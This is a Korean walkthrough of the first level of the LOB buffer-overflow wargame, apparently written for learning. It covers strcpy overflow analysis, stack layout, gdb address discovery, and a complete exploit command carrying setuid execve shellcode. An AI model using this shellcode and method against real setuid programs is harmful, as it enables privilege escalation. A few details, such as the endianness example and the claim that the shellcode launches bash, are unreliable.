BOF/ LOB-level1(gate)

LOB란 The Lord of the BOF의 약자로 Buffer over-flow를 연습해 볼 수 있는 해킹문제이다.
총 20문제로 구성되어 있으며 각 문제를 격파하여 다음 레벨의 패스워드를 얻는 형식이다.
문제를 격파하고 다음 레벨의 bash를 획득하였다면 my-pass로 패스워드를 확인할 수 있다.

send me email if you have any questions.

LOB Level 1(gate)

ID : gate
PASSWD : gate

$ bash2

풀이 시작 전에 bash2로 꼭 변경
bash는 \xff를 \x00(NULL)로 인식하여 제대로 문제를 풀 수 없다.

사용자 gremlin의 권한의 gremlin파일이 있음을 확인할 수 있다.
set-uid가 걸려있으므로 사용자 gremlin의 권한으로 파일을 실행할 수 있다.
gremlin파일이 쉘을 실행시키도록 한다면 사용자 gremlin의 쉘을 획득할 수 있다.

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/*
        The Lord of the BOF : The Fellowship of the BOF
        - gremlin
        - simple BOF
*/

int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

gremlin.c

소스분석

1. argc가 2보다 작다면 “ergv error”을 출력하고 프로그램을 종료한다.
   argc란? - 파라미터의 개수를 의미한다. 즉 main에 최소 2개이상의 인자를 전달하여야 한다.
2. main에 전달받은 인자 argv[1]을 buffer에 복사하여 출력하는 소스(argv[0]은 파일명)
   strcpy함수는 복사할 데이터의 크기제한이 없기 때문에 argv[1]이 256Byte보다 크다면 buffer-overflow가 발생하는 취약점이 있다.

Solution

쉘코드를 인자로 전달하고 쉘코드의 주소를 buffer over-flow시켜 프로그램이 쉘코드를 실행하도록 공격한다.
what is shellcode? - 주로 기계어 코드로 이루어진 소프트웨어 취약점을 공격하기 위한 코드.

level1에서 사용한 쉘코드

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
이 41Byte 쉘코드는 /bin/bash를 실행시키도록 하는 코드이다.

ShellCode를 이용하기 위해서는 프로그램 Stack의 구조를 알아야 한다.

SFP(Stack frame pointer) - 이전 함수의 EBP주소를 담고 있다.
(EBP - 스택의 가장 바닥을 가리키는 포인터)
RET(Return Address) - 함수가 종료시 return될 주소

쉘코드의 주소를 ret에 덮어씌우면 main함수가 종료되며 쉘코드를 실행시킬 것이다.

disassemble

쉘코드의 주소는 buffer의 시작주소가 될 것이기 때문에 buffer의 시작 주소를 얻기 위해 디버깅을 한다.
권한문제가 없도록 gremlin를 복사하고 gdb를 사용하여 intel방식으로 디스어셈블 한다.

disassemble 결과

buffer의 시작주소를 확인하기 위해 main함수의 종료 전에 BreakPoint를 걸고 AAAA를 인자로 전달하여 실행시킨 뒤 스택의 값을 출력해본다.
esp - 스택의 최상단을 가리키는 포인터
b - break명령, r - run명령, x/[범위]wx - 메모리 상태 검사명령(주소 범위 만큼 16진수로 4Byte단위로 출력)

인자로 전달한 AAAA의 Ascii값 41414141을 확인할 수 있다. -> buffer의 시작주소 = 0xbffffa28

Attack

ShellCode의 주소와 스택의 구조를 파악하였으므로 공격을 시도할 수 있다.
./gremlin [shellcode] + [dummy값] + [buffer시작주소]의 형태로 공격.
이 때 shellcode + dummy값의 길이는 buffer의 길이 + sfp(4byte)만큼 즉 260Byte여야 한다. 또한 RET에 덮을 buffer의 시작주소는 리틀 엔디안 방식으로 기입한다.

리틀 엔디안은 최 하위 바이트 부터 저장하는 방식이다.
ex) 0xbffffc11을 리틀 엔디안 방식으로 저장하면 11cfffbf가 된다.
보통 엔디안 방식은 CPU 아키텍쳐에 따라 다르지만 intel x86, x64, AMD 계열은 리틀엔디안, 모토로라 프로세서들은 빅엔디안을 사용한다.
현재 시스템의 엔디안방식을 확인하고 싶다면 echo -n I | od -to2 | head -n1 | awk’{print $2;}’ | cut -c6
명령으로 나오는 값이 1이라면 리틀 엔디안, 0이라면 빅엔디안이다.

공격이 실패하였다.

why?
gdb를 이용하여 디버깅을 하게 되면 한번 복사되어 들어가기 때문에 실제 프로세스 주소와 차이가 있다.

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#include <stdio.h>

int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
    printf("%x\n", buffer);
}

gcc는 컴파일러로 -o옵션은 생성할 바이너리파일의 이름을 지정한다.
get_addr.c를 컴파일하여 생성할 파일의 이름은 get_addr로 짓도록 하는 명령

다시 알아낸 buffer의 주소를 대입하여 공격, 성공적으로 grimlin의 bash를 획득하였다.

리틀 엔디안은 최 하위 바이트 부터 저장하는 방식이다.
ex) 0xbffffc11을 리틀 엔디안 방식으로 저장하면 11cfffbf가 된다.
보통 엔디안 방식은 CPU 아키텍쳐에 따라 다르지만 intel x86, x64, AMD 계열은 리틀엔디안, 모토로라 프로세서들은 빅엔디안을 사용한다.
현재 시스템의 엔디안방식을 확인하고 싶다면 echo -n I | od -to2 | head -n1 | awk’{print $2;}’ | cut -c6
명령으로 나오는 값이 1이라면 리틀 엔디안, 0이라면 빅엔디안이다.

$ ./gremlin `python -c "print '\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' + 'A' * 219 + '\x28\xf9\xff\xbf'"`